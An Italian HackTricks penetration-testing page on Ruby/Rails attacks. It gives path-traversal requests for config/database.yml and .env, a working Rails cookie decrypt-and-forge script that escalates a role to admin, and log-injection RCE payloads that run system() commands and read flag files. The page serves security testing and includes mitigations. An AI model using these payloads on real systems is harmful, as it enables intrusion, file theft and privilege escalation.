Trucchi Ruby
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Upload di file per RCE
Come spiegato in this article, caricare un file .rb
in directory sensibili come config/initializers/
può portare a remote code execution (RCE) nelle applicazioni Ruby on Rails.
Suggerimenti:
- Altre posizioni di boot/eager-load eseguite all'avvio dell'app sono anch'esse rischiose se scrivibili (es.,
config/initializers/
è quella classica). Se trovi un upload arbitrario che finisce da qualche parte sottoconfig/
e viene poi valutato/required, potresti ottenere RCE all'avvio. - Cerca build dev/staging che copiano file controllati dall'utente nell'immagine del container dove Rails li caricherà all'avvio.
Active Storage image transformation → command execution (CVE-2025-24293)
Quando un'applicazione usa Active Storage con image_processing
+ mini_magick
, e passa parametri non affidabili ai metodi di trasformazione delle immagini, versioni di Rails precedenti a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 potrebbero consentire command injection perché alcuni metodi di trasformazione erano erroneamente permessi di default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t]
and/or params[:v]
are attacker-controlled.
-
Cosa provare durante i test
-
Individua eventuali endpoint che accettano variant/processing options, nomi di trasformazioni, o argomenti arbitrari per ImageMagick.
-
Fuzz
params[:t]
eparams[:v]
alla ricerca di errori sospetti o effetti collaterali di esecuzione. Se puoi influenzare il nome del metodo o passare argomenti raw che raggiungono MiniMagick, potresti ottenere code exec sull'host che esegue l'image processor. -
Se hai solo accesso in lettura alle variant generate, prova l'esfiltrazione cieca tramite operazioni ImageMagick appositamente create.
-
Mitigazione/rilevamento
-
Se trovi Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage +
image_processing
+mini_magick
e trasformazioni controllate dall'utente, consideralo sfruttabile. Raccomanda l'aggiornamento e l'applicazione di allowlists rigorose per metodi/params e una policy ImageMagick più restrittiva.
Rack::Static LFI / path traversal (CVE-2025-27610)
Se lo stack target usa Rack middleware direttamente o tramite framework, versioni di rack
precedenti a 2.2.13, 3.0.14 e 3.1.12 consentono Local File Inclusion tramite Rack::Static
quando :root
non è impostato/misconfigurato. Traversal codificato in PATH_INFO
può esporre file sotto la directory di lavoro del processo o un root inatteso.
- Cerca app che montano
Rack::Static
inconfig.ru
o nello stack di middleware. Prova traversal codificati contro percorsi statici, per esempio:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Adatta il prefisso per corrispondere a urls:
configurati. Se l'app risponde con il contenuto dei file, probabilmente hai LFI verso qualsiasi cosa sotto il :root
risolto.
- Mitigazione: aggiorna Rack; assicurati che
:root
punti solo a una directory di file pubblici ed sia impostato esplicitamente.
Falsificazione/decrittazione dei cookie Rails quando secret_key_base
è leaked
Rails cripta e firma i cookie usando chiavi derivate da secret_key_base
. Se quel valore leaks (es., in un repo, nei log, o credenziali mal configurate), di solito puoi decryptare, modificare e re-encryptare i cookie. Questo spesso porta a authz bypass se l'app memorizza ruoli, user IDs o feature flags nei cookie.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notes:
- Le applicazioni più vecchie possono usare AES-256-CBC e salts
encrypted cookie
/signed encrypted cookie
, oppure serializzatori JSON/Marshal. Regola di conseguenza salts, cipher e serializer. - In caso di compromissione/assessment, ruota
secret_key_base
per invalidare tutti i cookie esistenti.
Vedi anche (vulnerabilità specifiche Ruby/Rails)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
Quando un'app (spesso un semplice endpoint Rack/Sinatra/Rails) soddisfa entrambe le condizioni:
- registra nel log una stringa controllata dall'utente tal quale, e
- in seguito esegue un
load
di un file il cui percorso è derivato da quella stessa stringa (dopoPathname#cleanpath
),
Spesso è possibile ottenere remote code execution avvelenando il log e poi costringendo l'app a load
are il file di log. Primitive chiave:
- Ruby
load
valuta il contenuto del file target come Ruby indipendentemente dall'estensione del file. Qualsiasi file di testo leggibile il cui contenuto sia valido come codice Ruby verrà eseguito. Pathname#cleanpath
collassa i segmenti.
e..
senza interrogare il filesystem, permettendo il path smuggling: dati di junk controllati dall'attaccante possono essere prepended per il logging mentre il percorso "pulito" risolve ancora al file inteso da eseguire (es.,../logs/error.log
).
Minimal vulnerable pattern
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Perché il log può contenere Ruby valido
Logger
scrive righe di prefisso come:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
In Ruby, #
inizia un commento e 9/2/2025
è solo aritmetica. Per iniettare codice Ruby valido devi:
- Iniziare il payload su una nuova riga in modo che non venga commentato dal
#
nella riga INFO; invia una newline iniziale (\n
o%0A
). - Chiudere la
[
sospesa introdotta dalla riga INFO. Un trucco comune è iniziare con]
e opzionalmente rendere il parser contento con][0]=1
. - Poi inserire Ruby arbitrario (es.,
system(...)
).
Esempio di cosa finirà nel log dopo una richiesta con un parametro creato ad arte:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Smuggling di una singola stringa che sia contemporaneamente registrata come codice e risolva nel percorso del log
Vogliamo una singola stringa controllata dall'attaccante che:
- quando loggata raw, contenga il nostro Ruby payload, e
- quando passata attraverso
Pathname.new(<input>).cleanpath
, risolva in../logs/error.log
in modo che il successivoload
esegua il file di log appena avvelenato.
Pathname#cleanpath
ignora gli scheme e collassa i componenti di traversal, quindi il seguente funziona:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Il
#
prima di://
fa sì che Ruby ignori la tail quando il log viene eseguito, mentrecleanpath
riduce comunque il suffisso a../logs/error.log
. - La nuova riga iniziale esce dalla riga INFO;
]
chiude la parentesi sospesa;][0]=1
soddisfa il parser.
End-to-end exploitation
- Invia quanto segue come nome dello script di backup (codifica URL la prima newline come
%0A
se necessario):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- L'app registra la tua stringa raw in
logs/error.log
. - L'app calcola
cleanpath
che si risolve in../logs/error.log
e chiamaload
su di esso. - Ruby esegue il codice che hai iniettato nel log.
Per esfiltrare un file in un ambiente simile a un CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (il primo carattere è una nuova riga):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Riferimenti
- Avviso di sicurezza Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Avviso GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.